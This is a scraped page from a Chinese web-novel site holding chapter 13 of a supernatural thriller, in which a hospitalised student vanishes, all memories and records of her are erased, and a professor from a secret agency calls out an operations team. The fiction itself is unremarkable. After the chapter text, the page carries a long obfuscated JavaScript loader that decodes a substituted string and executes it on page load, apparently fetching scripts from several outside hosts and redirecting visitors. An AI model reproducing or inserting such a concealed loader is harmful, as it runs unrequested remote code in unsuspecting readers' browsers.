首页
第十三章 人间蒸发记忆篡改(
返回

第十三章 人间蒸发记忆篡改(上)

章节报错(免登陆)

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    第十三章人间蒸发记忆篡改(上)(第1/2页)
    凌晨两点的西蜀大学附属医院住院部,被浓稠的夜色裹得严严实实。
    整栋住院大楼只有零星的窗户还亮着灯,走廊里只留了一排昏暗的地脚灯,暖黄色的光在光洁的地砖上投下细长的光影,空气中弥漫着挥之不去的消毒水味,混着淡淡的药香,安静得只能听到远处护士站传来的、心电监护仪规律的滴滴声。
    三楼的普通三人病房里,只亮着靠窗床位的一盏床头夜灯,昏黄的光勉强照亮了半间屋子。
    李萌躺在床上,睡得很沉,呼吸平稳均匀,烧了大半天的体温终于降了下来,原本蜡黄的脸上也恢复了一丝血色。林溪坐在床边的折叠椅上,胳膊撑在床沿,脑袋一点一点的,熬到后半夜,困意早就像潮水一样往上涌,可她还是强撑着没睡,眼睛时不时瞟一眼李萌的情况,生怕她再出什么意外。
    病房是标准的三甲医院三人病房,靠墙摆着三张病床,除了李萌住的靠窗床位,中间那张住着一位摔断了腿的老太太,陪床的儿子趴在床边,睡得鼾声很轻;靠门的那张床是个临近预产期的孕妇,丈夫靠在旁边的椅子上,脑袋歪在椅背上,也睡得很沉。整个病房里安安静静的,只有此起彼伏的呼吸声,和夜风吹动窗户的细微声响,和所有医院的深夜病房一样,平淡得没有一丝波澜。
    林溪揉了揉发酸的眼睛,打了个哈欠,目光落在床头柜上空了的保温杯上。医生特意交代过,退烧之后身体会大量脱水,一定要多喝温水。她看了一眼睡得安稳的李萌,心里松了口气,轻手轻脚地站起身,拿起保温杯和墙角的热水壶,打算去走廊尽头的开水间打一壶热水,等李萌醒了就能直接喝。
    她动作放得极轻,拉开病房门的时候,连吱呀声都压到了最低,生怕吵醒了病房里熟睡的人。
    刚走到走廊上,就迎面遇上了推着治疗车巡房的护士和值班医生,两人看到她,都笑着点了点头,没多问什么,只是低声叮嘱了一句“后半夜凉,多穿件衣服”,就继续往前巡房去了。
    开水间在走廊的最尽头,林溪走了两分钟才到。接热水的时候,她看着水壶里缓缓升起的白雾,心里还在庆幸,还好李萌没事了,不然她真的不知道该怎么和李萌的父母交代。前一晚的惊魂一夜,还有白天的担惊受怕,终于在这一刻落了地。
    她完全没意识到,等她再推开那扇病房门的时候,整个世界都会天翻地覆。
    热水接满,林溪拎着水壶,轻手轻脚地走回病房,推开了那扇虚掩的门。
    她先把水壶和保温杯放在了床头柜上,习惯性地先看向病床——
    床上空空如也。
    叠得整整齐齐的被子被掀开了一半,枕头歪在一边,床单上还留着人躺过的压痕,可原本躺在上面的李萌,不见了。
    林溪的心脏猛地咯噔一下,瞬间沉到了谷底。
    她第一反应是李萌醒了,自己去卫生间了。毕竟烧退了,人醒了想上厕所很正常。她放轻脚步,走到病房里的独立卫生间门口,抬手轻轻敲了敲门,声音压得很低:“萌萌?你在里面吗?”
    卫生间里安安静静的,没有任何回应,连水流声都没有。
    林溪的心跳更快了,伸手拧开了卫生间的门。里面空无一人,灯是关着的,马桶盖盖得好好的,地面干干净净,根本没有人进来过的痕迹。
    一股寒意瞬间顺着脚底窜了上来,沿着脊椎直冲天灵盖。
    林溪安慰自己,说不定是李萌去走廊的公共卫生间了。她走到病房门口,探出头往走廊两边看了看。凌晨的医院走廊空荡荡的,地脚灯的光把走廊拉得很长,连个人影都没有,安静得能听到自己的心跳声,扑通扑通,快得要跳出嗓子眼。
    她就站在病房门口等,眼睛死死地盯着走廊的两头。
    一分钟。
    五分钟。
    十分钟过去了。
    依旧没有李萌的身影。
    凌晨的医院走廊,温度本就比白天低,此刻林溪只觉得浑身冰凉,手脚都开始不受控制地发抖。她实在等不下去了,转过身,快步走到中间那张病床前,轻轻推了推趴在床边睡觉的中年男人。
    男人被推醒,迷迷糊糊地抬起头,揉了揉眼睛,一脸茫然地看着她:“小姑娘,怎么了?出什么事了?”
    林溪的声音带着控制不住的颤抖,指尖都在抖:“叔叔,不好意思打扰您了,请问……请问您看到和我一起的那个女生去哪了吗?就是靠窗这张床的,叫李萌,昨天下午住进来的,发着高烧。”
    她以为男人会给她一个答案,哪怕是说“看到她往卫生间方向去了”也好。
    可男人听完她的话,脸上的茫然更重了,他皱着眉,先是看了看空空如也的靠窗病床,又看了看林溪,语气里带着一丝小心翼翼的疑惑:“小姑娘,你是不是熬太久睡糊涂了?这张床从你住进来那天起,就一直空着啊。”
    林溪的脑子嗡的一声,瞬间一片空白。
    男人还在继续说,声音落在她耳朵里,像一把冰锥,狠狠扎进了她的心脏:“我们住进来三天了,就看到你一个人天天坐在这张空床旁边,对着空气自言自语,有时候还会对着空床说话,我们还以为你是家里人住院,压力太大了。哪有什么叫李萌的女生?这张床就没住过人。”
    “不可能……”林溪下意识地摇着头,后退了一步,撞在了身后的床沿上,疼得她倒吸一口凉气,可这点疼,根本抵不过心里的寒意,“不可能的!她昨天下午就住进来了!一直躺在这张床上!你们怎么会不记得?!”
    靠门那张病床的孕妇丈夫也被吵醒了,他站起身,看着情绪激动的林溪,也跟着点了点头,语气里满是同情:“妹子,我们真没骗你。我媳妇住进来快一周了,这张靠窗的床,就从来没办过入住,一直是空的。我们真的没见过你说的那个女生。”
    两个人,两双眼睛,都带着同样的茫然和同情,笃定地告诉她:你说的那个人,从来就不存在。
    林溪的视线在两人脸上来回扫过,又猛地转向那张空病床。
    床单是她昨天亲手铺的,枕头是她摆的,床头柜上还放着她给李萌买的粥,还有没吃完的退烧药。可这些在她眼里无比真实的痕迹,在另外两个人眼里,仿佛根本不存在一样。
    她浑身抖得像筛糠一样,牙齿不受控制地打颤,发出咯咯的声响,嘴里反复念叨着:“不可能……这不可能……她明明就在这里的……”
    无边的恐惧像冰冷的海水,从四面八方涌过来,把她彻底淹没。她甚至开始怀疑,是不是自己真的熬出了幻觉,是不是从一开始,李萌就没有生病,没有住院,一切都是她臆想出来的。
    可前一晚寝室里的阴冷,李萌烧得滚烫的身体,医生的检查,护士的输液,这些画面都无比清晰地刻在她的脑子里,怎么可能是假的?!
    林溪再也撑不住了,疯了一样转身冲出了病房,朝着走廊尽头的护士站狂奔过去。
    凌晨的护士站只有两个值班护士,正低头整理着病历,看到林溪跌跌撞撞地冲过来,脸色惨白,眼泪糊了满脸,都吓了一跳,连忙站起身:“同学?你怎么了?出什么事了?别急,慢慢说。”
    “李萌!我找李萌!”林溪一把抓住了其中一个护士的胳膊,指甲都快嵌进对方的肉里了,语无伦次地喊着,“她住在307病房靠窗的床位!昨天下午从蜀大校医院转过来的!发烧39度8!她不见了!你们看到她去哪了吗?!”
    护士被她抓着胳膊,先是愣了一下,随即连忙安抚她:“同学你别激动,别慌,我帮你查一下,你先放开我,好吗?”
    林溪像是抓住了最后一根救命稻草,连忙松开了手,眼睛死死地盯着护士面前的电脑屏幕,连呼吸都屏住了。
    护士在住院系统里输入了“李萌”两个字,又问了她的身份证号、学号,反复查询了三遍。
    每一次查询,系统页面都是一片空白。
    没有入院记录,没有缴费记录,没有用药记录,连校医院的转诊记录,都干干净净,什么都没有。
    护士抬起头,看着林溪,眼神里满是担忧和小心翼翼,语气放得极柔:“同学,我们系统里,没有叫李萌的患者的入院记录,昨天晚上到今天,我们住院部也没有接收过从蜀大校医院转过来的发烧学生。你是不是……记错名字了?还是太着急了,出现幻觉了?”
    “不可能!”林溪的声音瞬间拔高,眼泪掉得更凶了,“昨天晚上就是你们的医生去给她做的检查!就是你给她扎的留置针!输的液!你怎么会不记得?!”
    她疯了一样冲进了旁边的医生办公室,里面只有一个值班医生,正是昨晚给李萌做检查、下诊断的那个男医生。
    林溪扑到他的办公桌前,哭着问他李萌的下落,让他证明李萌来过。
    可那个昨晚还亲手给李萌听了心肺、量了体温、写了病历的医生,此刻看着她,脸上满是全然的陌生和茫然,皱着眉说:“同学,你冷静一点。我昨晚值班,根本没有接诊过叫李萌的患者,更没有去过307病房。你是不是身体不舒服?要不要我给你开个检查?”
    从护士到医生,从住院部系统到挂号系统,从307病房的病友到巡房的护工。
    没有一个人记得李萌。
    没有一丝一毫,能证明这个女生曾经存在过的痕迹。
    仿佛这个昨天还活生生躺在病床上,拉着她的手说害怕的女生,这个和她朝夕相处了一年多的室友,从头到尾,都只是她一场荒诞的幻觉。
    (本章未完,请点击下一页继续阅读)第十三章人间蒸发记忆篡改(上)(第2/2页)
    林溪靠在医院冰冷的墙壁上,身体顺着墙面一点点滑下去,蹲在地上,死死地抱着自己的膝盖,浑身抖得不成样子。眼泪不受控制地往下掉,砸在冰冷的地砖上,晕开一小片湿痕。
    她彻底崩溃了。
    她甚至开始低头看自己的手,怀疑自己是不是真的疯了,怀疑这两天发生的所有事情,是不是都是她臆想出来的。那个吊死的学姐,那个白裙子的鬼魂,那个踹开寝室门的龙教授,还有生病的李萌……这一切,会不会都是假的?
    无边的黑暗和恐惧裹着她,让她喘不过气。
    就在她意识快要涣散的时候,脑子里突然闪过了一个人的脸。
    龙临。
    那个高冷、疏离,话很少,却总能在她最害怕的时候,给她一丝安全感的年轻教授。
    她自己也不知道为什么,明明和龙临只见过几面,说过的话加起来都不超过几十句,可在这种极致的绝望和恐惧里,她唯一能想到的人,只有他。仿佛只要他在,就能把她从这场荒诞的噩梦里拉出来,就能告诉她,这一切都是真的,不是她疯了。
    林溪颤抖着伸出手,从口袋里摸出手机,手指抖得连密码都输错了好几次,才终于解锁了屏幕,翻到了龙临的联系方式,拨通了电话。
    电话响了三声,就被接了起来。
    那边传来龙临的声音,带着刚睡醒的沙哑,却依旧清冷平稳,像深夜里的一块定海神针:“喂?林溪?”
    听到龙临声音的那一刻,林溪积攒了许久的情绪,瞬间彻底爆发了。
    她对着电话,嚎啕大哭起来,语无伦次地说着,颠三倒四,逻辑混乱,一会儿哭着说李萌不见了,一会儿喊着所有人都不记得李萌了,一会儿又说医院里没有李萌的入院记录,话里全是哭腔,上气不接下气,连一句完整的话都说不出来。
    电话那头的龙临,原本刚从睡梦中被叫醒,还有一丝睡意,可听到林溪崩溃的哭声,还有她颠三倒四的话里透出来的信息,瞬间彻底清醒了。
    他没有打断林溪,只是安静地听着,手指无意识地摩挲着床单,大脑飞速运转着,用了短短几分钟的时间,就从她混乱的哭诉里,精准地捋清了所有事情的来龙去脉。
    等林溪的哭声稍微平复了一点,只剩下压抑的抽噎,龙临立刻开口了。
    他的声音依旧平稳冷静,没有一丝慌乱,语速不快,每个字都清晰有力,带着一种能瞬间安抚人心的力量,顺着电话传过去,精准地落在林溪的耳朵里:“林溪,你听我说。”
    “第一,现在立刻回到护士站,待在有监控、有工作人员的地方,不要乱跑,不要去楼梯间、开水间这种偏僻的地方。”
    “第二,不要和任何人起冲突,不要和任何人争辩李萌是否存在,保护好自己,明白吗?”
    “第三,我现在立刻往医院赶,在我到之前,待在原地不要动,有任何情况,随时给我打电话。”
    他的话像一道定心丸,瞬间让林溪慌乱到极致的情绪,稳了下来。
    她哭着点头,对着电话反复说:“好……好的龙教授……我知道了……我在护士站等你……你快点来……”
    挂了电话,林溪按照龙临说的,走到了护士站旁边的椅子上坐下,死死地攥着手机,眼睛盯着电梯口的方向,等着龙临过来。护士站的护士看着她失魂落魄的样子,给她倒了一杯热水,放在了她面前,眼里满是同情,却也没再多说什么。
    而教职工宿舍里,龙临挂了电话的瞬间,脸上的平静瞬间褪去,眼神变得凝重如冰。
    他掀开被子,快速地穿好衣服,动作干脆利落,没有一丝拖泥带水。一边系着衬衫的扣子,一边拿起手机,给马俊打了过去。
    电话响了一声,就被接了起来。马俊熬了大半夜,刚躺到床上准备休息,还没睡着,看到是龙临的电话,瞬间就接了起来,语气带着一丝刚睡醒的沙哑:“龙指?怎么了?出什么事了?”
    龙临没有半句废话,言简意赅,语速极快地把医院发生的事情说了一遍,最后厉声下令:“立刻叫停你明天的所有排查计划,现在集结一个标准行动分队,带上全套以太能量监测设备、记忆干扰溯源设备和收容装备,十分钟内出发,赶往西蜀大学附属医院。路上我再和你细说细节。”
    电话那头的马俊,原本还带着睡意,听完龙临的话,瞬间浑身的汗毛都竖了起来,困意瞬间消失得无影无踪。
    他在EDC待了这么多年,太清楚这起事件意味着什么了。
    集体记忆篡改,覆盖了整个病房的病友、医护团队,甚至能悄无声息地抹掉医院系统里的所有入院记录——这和EDC的忘川设备的原理一模一样,甚至技术级别比忘川还要高。忘川只能消除十五米内、一个半小时内的短期记忆,而对方,能做到大范围、长时段的集体记忆篡改,甚至能入侵医院的内网系统,抹掉所有数据痕迹。
    这绝对不是普通的灵异事件,这是有组织、有预谋的行动,对方手里,掌握着和EDC同级别、甚至更高级的技术。
    更让他心惊的是,对方的目标,是那个接触过三级灵体的女大学生。这意味着,对方很可能已经盯上了这次的灵体事件,甚至已经盯上了EDC,盯上了龙临。
    “是!龙指!我明白!”马俊没有多问半句废话,立刻应声,声音铿锵有力,“五分钟内完成队伍集结,十分钟内出发!保证完成任务!”
    挂了电话,马俊立刻按下了行动营的紧急集结按钮。
    地下基地里,红色的警报灯瞬间亮起,刺耳的集结警报在宿舍区响起。原本休息的行动营队员瞬间弹起身,穿衣、穿戴装备、拿取设备,动作行云流水,没有丝毫拖沓,都是身经百战的老兵,哪怕是凌晨的紧急集结,也没有半分慌乱。
    马俊一边快速穿戴战术装备,一边对着集结过来的队员厉声下令,三言两语说清了现场情况,分配了各自的任务。短短五分钟,一个十二人的标准行动分队就完成了全部集结,登上了两辆伪装成120救护车的行动车辆,警灯都没开,悄无声息地驶出了地下基地,朝着西蜀大学附属医院的方向,疾驰而去。
    而此时的龙临,已经发动了汽车,黑色的SUV冲出了教职工宿舍区,驶入了凌晨空旷的马路。
    凌晨的西蜀市区,马路上空无一人,只有红绿灯在路口不知疲倦地交替闪烁。龙临把油门踩得很深,车子在空旷的马路上疾驰,窗外的路灯飞速向后倒退,拉出一道道模糊的光影。凌晨的风从半降的车窗缝里灌进来,吹在他的脸上,带着深夜的凉意,可他心里的烦躁与凝重,却丝毫没有被吹散。
    他的脑子里,在飞速地运转着,无数个念头在不断碰撞、梳理。
    第一个冒出来的念头,是林溪会不会因为前一晚的惊吓,精神受创太严重,出现了幻觉和臆想。
    可这个念头刚冒出来,就被他立刻推翻了。
    林溪虽然胆小,但性格沉稳,逻辑清晰,前一晚面对灵体都没有彻底崩溃,不可能因为李萌退烧,就突然出现这么严重的精神问题。更何况,她不可能凭空编造出这么多严丝合缝的细节,更不可能连医院的系统都跟着她的幻觉一起“出错”。
    如果林溪说的是真的,那就只有一种可能。
    幕后的那个势力,动用了和EDC忘川设备同类型、甚至更高级的记忆篡改技术。
    可除了EDC总部,还有什么组织,能掌握这种级别的记忆篡改技术?
    忘川设备的核心技术,是EDC的最高机密之一,除了总部的核心研发团队,连各个分部的负责人,都只知道使用方法,不知道核心的技术原理。对方能掌握这种技术,甚至能做到比忘川更大范围、更长时效的记忆篡改,其实力和底蕴,远比他之前预想的要可怕得多。
    更让他想不通的是,对方带走李萌的目的,到底是什么?
    李萌只是一个普通的大二女学生,无权无势,没有任何特殊之处,唯一和别人不一样的地方,就是她被那个三级灵体吸噬了部分生命精气,直接接触过异常体,是这次事件的直接受害者。
    对方带走她,到底是为了什么?
    是为了研究灵体能量对普通人体的影响?还是为了通过李萌,反向追踪灵体的来源?又或者,是为了通过李萌,找到他和EDC的踪迹,试探EDC的底细?
    无数个猜测在他的脑子里盘旋,却没有一个能找到确凿的证据支撑。
    原本刚刚理清一点头绪的调查方向,被这起突发的事件彻底打乱了。
    原本他以为,对方只是催生了一个三级灵体,大概率是本地玄门势力的小打小闹,可现在看来,对方不仅掌握着和EDC同等级的技术,还能在他的眼皮子底下,悄无声息地带走一个大活人,抹掉所有存在的痕迹。
    这根本不是小打小闹。
    这是有预谋、有计划的,对EDC的正面挑衅。
    原本刚刚理顺的思维,瞬间陷入了一团乱麻。一丝不易察觉的烦躁,爬上了他的眉梢,握着方向盘的手指,微微收紧,指节泛白。
    车子猛地拐过一个弯道,西蜀大学附属医院的大楼,赫然出现在了视野里。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();